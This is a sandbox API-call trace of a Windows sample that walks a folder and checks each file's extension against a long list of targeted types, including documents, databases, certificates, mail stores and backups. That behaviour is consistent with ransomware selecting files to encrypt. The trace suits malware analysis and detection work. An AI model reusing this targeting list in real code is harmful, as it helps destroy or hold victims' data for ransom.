	[0060.217] lstrlenW (lpString=".obj") returned 4
	[0060.217] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0060.217] lstrlenW (lpString=".odb") returned 4
	[0060.217] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0060.217] lstrlenW (lpString=".odc") returned 4
	[0060.217] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0060.217] lstrlenW (lpString=".odm") returned 4
	[0060.217] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0060.217] lstrlenW (lpString=".odp") returned 4
	[0060.217] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0060.217] lstrlenW (lpString=".ods") returned 4
	[0060.217] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0060.217] lstrlenW (lpString=".oft") returned 4
	[0060.217] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0060.217] lstrlenW (lpString=".one") returned 4
	[0060.217] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0060.217] lstrlenW (lpString=".onepkg") returned 7
	[0060.217] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0060.217] lstrlenW (lpString=".onetoc2") returned 8
	[0060.217] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0060.217] lstrlenW (lpString=".opt") returned 4
	[0060.217] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0060.217] lstrlenW (lpString=".oqy") returned 4
	[0060.217] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0060.217] lstrlenW (lpString=".orf") returned 4
	[0060.217] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0060.217] lstrlenW (lpString=".p12") returned 4
	[0060.218] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".p7b") returned 4
	[0060.218] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".p7c") returned 4
	[0060.218] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".pam") returned 4
	[0060.218] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".pbm") returned 4
	[0060.218] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".pct") returned 4
	[0060.218] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".pcx") returned 4
	[0060.218] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".pdd") returned 4
	[0060.218] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".pdf") returned 4
	[0060.218] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".pdp") returned 4
	[0060.218] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".pef") returned 4
	[0060.218] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".pem") returned 4
	[0060.218] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".pff") returned 4
	[0060.218] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".pfm") returned 4
	[0060.218] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".pfx") returned 4
	[0060.218] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0060.218] lstrlenW (lpString=".pgm") returned 4
	[0060.218] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0060.219] lstrlenW (lpString=".php") returned 4
	[0060.219] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0060.219] lstrlenW (lpString=".php3") returned 5
	[0060.219] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0060.219] lstrlenW (lpString=".php4") returned 5
	[0060.219] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0060.219] lstrlenW (lpString=".php5") returned 5
	[0060.219] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0060.219] lstrlenW (lpString=".phtml") returned 6
	[0060.219] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0060.219] lstrlenW (lpString=".pict") returned 5
	[0060.219] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0060.219] lstrlenW (lpString=".pl") returned 3
	[0060.219] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0060.219] lstrlenW (lpString=".pls") returned 4
	[0060.219] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0060.219] lstrlenW (lpString=".pm") returned 3
	[0060.219] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0060.219] lstrlenW (lpString=".png") returned 4
	[0060.219] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0060.219] lstrlenW (lpString=".pnm") returned 4
	[0060.219] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0060.219] lstrlenW (lpString=".pot") returned 4
	[0060.219] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0060.219] lstrlenW (lpString=".potm") returned 5
	[0060.219] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0060.219] lstrlenW (lpString=".potx") returned 5
	[0060.219] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0060.219] lstrlenW (lpString=".ppa") returned 4
	[0060.219] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0060.219] lstrlenW (lpString=".ppam") returned 5
	[0060.220] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0060.220] lstrlenW (lpString=".ppm") returned 4
	[0060.220] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0060.220] lstrlenW (lpString=".pps") returned 4
	[0060.220] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0060.220] lstrlenW (lpString=".ppsm") returned 5
	[0060.220] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0060.220] lstrlenW (lpString=".ppt") returned 4
	[0060.220] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.220] lstrlenW (lpString=".pptm") returned 5
	[0060.220] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0060.220] lstrlenW (lpString=".pptx") returned 5
	[0060.220] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0060.220] lstrlenW (lpString=".prn") returned 4
	[0060.220] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0060.220] lstrlenW (lpString=".ps") returned 3
	[0060.220] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0060.220] lstrlenW (lpString=".psb") returned 4
	[0060.220] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0060.220] lstrlenW (lpString=".psd") returned 4
	[0060.220] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0060.220] lstrlenW (lpString=".pst") returned 4
	[0060.220] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0060.220] lstrlenW (lpString=".ptx") returned 4
	[0060.220] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0060.220] lstrlenW (lpString=".pub") returned 4
	[0060.220] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0060.220] lstrlenW (lpString=".pwm") returned 4
	[0060.220] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0060.220] lstrlenW (lpString=".pxr") returned 4
	[0060.221] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0060.221] lstrlenW (lpString=".py") returned 3
	[0060.221] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0060.221] lstrlenW (lpString=".qt") returned 3
	[0060.221] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0060.221] lstrlenW (lpString=".r3d") returned 4
	[0060.221] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0060.221] lstrlenW (lpString=".raf") returned 4
	[0060.221] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0060.221] lstrlenW (lpString=".rar") returned 4
	[0060.221] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.221] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0060.221] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0060.221] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0060.222] FindClose (in: hFindFile=0x5e0370 | out: hFindFile=0x5e0370) returned 1
	[0060.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0060.643] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1
	[0060.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0060.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26
	[0060.643] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e08b0
	[0060.644] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.644] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0060.644] lstrlenW (lpString="eula.rtf") returned 8
	[0060.644] lstrlenW (lpString=".1cd") returned 4
	[0060.644] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.644] lstrlenW (lpString=".3ds") returned 4
	[0060.644] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0060.644] lstrlenW (lpString=".3fr") returned 4
	[0060.644] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0060.644] lstrlenW (lpString=".3g2") returned 4
	[0060.644] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0060.644] lstrlenW (lpString=".3gp") returned 4
	[0060.644] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0060.644] lstrlenW (lpString=".7z") returned 3
	[0060.644] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.644] lstrlenW (lpString=".accda") returned 6
	[0060.644] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0060.644] lstrlenW (lpString=".accdb") returned 6
	[0060.644] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0060.644] lstrlenW (lpString=".accdc") returned 6
	[0060.644] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0060.644] lstrlenW (lpString=".accde") returned 6
	[0060.644] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0060.644] lstrlenW (lpString=".accdt") returned 6
	[0060.644] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0060.644] lstrlenW (lpString=".accdw") returned 6
	[0060.644] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0060.644] lstrlenW (lpString=".adb") returned 4
	[0060.644] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0060.645] lstrlenW (lpString=".adp") returned 4
	[0060.645] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0060.645] lstrlenW (lpString=".ai") returned 3
	[0060.645] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0060.645] lstrlenW (lpString=".ai3") returned 4
	[0060.645] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0060.645] lstrlenW (lpString=".ai4") returned 4
	[0060.645] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0060.645] lstrlenW (lpString=".ai5") returned 4
	[0060.645] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0060.645] lstrlenW (lpString=".ai6") returned 4
	[0060.645] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0060.645] lstrlenW (lpString=".ai7") returned 4
	[0060.645] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0060.645] lstrlenW (lpString=".ai8") returned 4
	[0060.645] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0060.645] lstrlenW (lpString=".anim") returned 5
	[0060.645] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0060.645] lstrlenW (lpString=".arw") returned 4
	[0060.645] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0060.645] lstrlenW (lpString=".as") returned 3
	[0060.645] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0060.645] lstrlenW (lpString=".asa") returned 4
	[0060.645] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0060.645] lstrlenW (lpString=".asc") returned 4
	[0060.645] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0060.645] lstrlenW (lpString=".ascx") returned 5
	[0060.645] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0060.645] lstrlenW (lpString=".asm") returned 4
	[0060.645] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0060.645] lstrlenW (lpString=".asmx") returned 5
	[0060.645] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0060.645] lstrlenW (lpString=".asp") returned 4
	[0060.645] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0060.646] lstrlenW (lpString=".aspx") returned 5
	[0060.646] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0060.646] lstrlenW (lpString=".asr") returned 4
	[0060.646] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0060.646] lstrlenW (lpString=".asx") returned 4
	[0060.646] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0060.646] lstrlenW (lpString=".avi") returned 4
	[0060.646] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0060.646] lstrlenW (lpString=".avs") returned 4
	[0060.646] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0060.646] lstrlenW (lpString=".backup") returned 7
	[0060.646] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0060.646] lstrlenW (lpString=".bak") returned 4
	[0060.646] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0060.646] lstrlenW (lpString=".bay") returned 4
	[0060.646] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0060.646] lstrlenW (lpString=".bd") returned 3
	[0060.646] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0060.646] lstrlenW (lpString=".bin") returned 4
	[0060.646] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0060.646] lstrlenW (lpString=".bmp") returned 4
	[0060.646] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0060.646] lstrlenW (lpString=".bz2") returned 4
	[0060.646] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.646] lstrlenW (lpString=".c") returned 2
	[0060.646] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0060.646] lstrlenW (lpString=".cdr") returned 4
	[0060.646] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0060.646] lstrlenW (lpString=".cer") returned 4
	[0060.646] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0060.646] lstrlenW (lpString=".cf") returned 3
	[0060.646] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0060.646] lstrlenW (lpString=".cfc") returned 4
	[0060.646] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0060.647] lstrlenW (lpString=".cfm") returned 4
	[0060.647] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0060.647] lstrlenW (lpString=".cfml") returned 5
	[0060.647] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0060.647] lstrlenW (lpString=".cfu") returned 4
	[0060.647] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0060.647] lstrlenW (lpString=".chm") returned 4
	[0060.647] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0060.647] lstrlenW (lpString=".cin") returned 4
	[0060.647] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0060.647] lstrlenW (lpString=".class") returned 6
	[0060.647] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0060.647] lstrlenW (lpString=".clx") returned 4
	[0060.647] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0060.647] lstrlenW (lpString=".config") returned 7
	[0060.647] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0060.647] lstrlenW (lpString=".cpp") returned 4
	[0060.647] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0060.647] lstrlenW (lpString=".cr2") returned 4
	[0060.647] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0060.647] lstrlenW (lpString=".crt") returned 4
	[0060.647] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0060.647] lstrlenW (lpString=".crw") returned 4
	[0060.647] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0060.647] lstrlenW (lpString=".cs") returned 3
	[0060.647] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0060.647] lstrlenW (lpString=".css") returned 4
	[0060.647] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0060.647] lstrlenW (lpString=".csv") returned 4
	[0060.647] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0060.647] lstrlenW (lpString=".cub") returned 4
	[0060.647] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0060.647] lstrlenW (lpString=".dae") returned 4
	[0060.647] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0060.648] lstrlenW (lpString=".dat") returned 4
	[0060.648] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0060.648] lstrlenW (lpString=".db") returned 3
	[0060.648] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0060.648] lstrlenW (lpString=".dbf") returned 4
	[0060.648] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.648] lstrlenW (lpString=".dbx") returned 4
	[0060.648] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0060.648] lstrlenW (lpString=".dc3") returned 4
	[0060.648] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0060.648] lstrlenW (lpString=".dcm") returned 4
	[0060.648] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0060.648] lstrlenW (lpString=".dcr") returned 4
	[0060.648] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0060.648] lstrlenW (lpString=".der") returned 4
	[0060.648] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0060.648] lstrlenW (lpString=".dib") returned 4
	[0060.648] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0060.648] lstrlenW (lpString=".dic") returned 4
	[0060.648] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0060.648] lstrlenW (lpString=".dif") returned 4
	[0060.648] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0060.648] lstrlenW (lpString=".divx") returned 5
	[0060.648] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0060.648] lstrlenW (lpString=".djvu") returned 5
	[0060.648] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0060.648] lstrlenW (lpString=".dng") returned 4
	[0060.648] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0060.648] lstrlenW (lpString=".doc") returned 4
	[0060.648] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.648] lstrlenW (lpString=".docm") returned 5
	[0060.648] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0060.648] lstrlenW (lpString=".docx") returned 5
	[0060.648] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.649] lstrlenW (lpString=".dot") returned 4
	[0060.649] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0060.649] lstrlenW (lpString=".dotm") returned 5
	[0060.649] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0060.649] lstrlenW (lpString=".dotx") returned 5
	[0060.649] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0060.649] lstrlenW (lpString=".dpx") returned 4
	[0060.649] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0060.649] lstrlenW (lpString=".dqy") returned 4
	[0060.649] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0060.649] lstrlenW (lpString=".dsn") returned 4
	[0060.649] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0060.649] lstrlenW (lpString=".dt") returned 3
	[0060.649] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0060.649] lstrlenW (lpString=".dtd") returned 4
	[0060.649] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0060.649] lstrlenW (lpString=".dwg") returned 4
	[0060.649] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0060.649] lstrlenW (lpString=".dwt") returned 4
	[0060.649] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0060.649] lstrlenW (lpString=".dx") returned 3
	[0060.649] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0060.649] lstrlenW (lpString=".dxf") returned 4
	[0060.649] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0060.649] lstrlenW (lpString=".edml") returned 5
	[0060.649] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0060.649] lstrlenW (lpString=".efd") returned 4
	[0060.649] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0060.649] lstrlenW (lpString=".elf") returned 4
	[0060.649] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0060.649] lstrlenW (lpString=".emf") returned 4
	[0060.649] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0060.649] lstrlenW (lpString=".emz") returned 4
	[0060.649] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0060.650] lstrlenW (lpString=".epf") returned 4
	[0060.650] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0060.650] lstrlenW (lpString=".eps") returned 4
	[0060.650] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0060.650] lstrlenW (lpString=".epsf") returned 5
	[0060.650] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0060.650] lstrlenW (lpString=".epsp") returned 5
	[0060.650] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0060.650] lstrlenW (lpString=".erf") returned 4
	[0060.650] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0060.650] lstrlenW (lpString=".exr") returned 4
	[0060.650] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0060.650] lstrlenW (lpString=".f4v") returned 4
	[0060.650] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0060.650] lstrlenW (lpString=".fido") returned 5
	[0060.650] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0060.650] lstrlenW (lpString=".flm") returned 4
	[0060.650] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0060.650] lstrlenW (lpString=".flv") returned 4
	[0060.650] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0060.650] lstrlenW (lpString=".frm") returned 4
	[0060.650] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0060.650] lstrlenW (lpString=".fxg") returned 4
	[0060.650] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0060.650] lstrlenW (lpString=".geo") returned 4
	[0060.650] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0060.650] lstrlenW (lpString=".gif") returned 4
	[0060.650] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0060.650] lstrlenW (lpString=".grs") returned 4
	[0060.650] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0060.650] lstrlenW (lpString=".gz") returned 3
	[0060.650] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0060.650] lstrlenW (lpString=".h") returned 2
	[0060.650] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0060.651] lstrlenW (lpString=".hdr") returned 4
	[0060.651] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0060.651] lstrlenW (lpString=".hpp") returned 4
	[0060.651] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0060.651] lstrlenW (lpString=".hta") returned 4
	[0060.651] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0060.651] lstrlenW (lpString=".htc") returned 4
	[0060.651] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0060.651] lstrlenW (lpString=".htm") returned 4
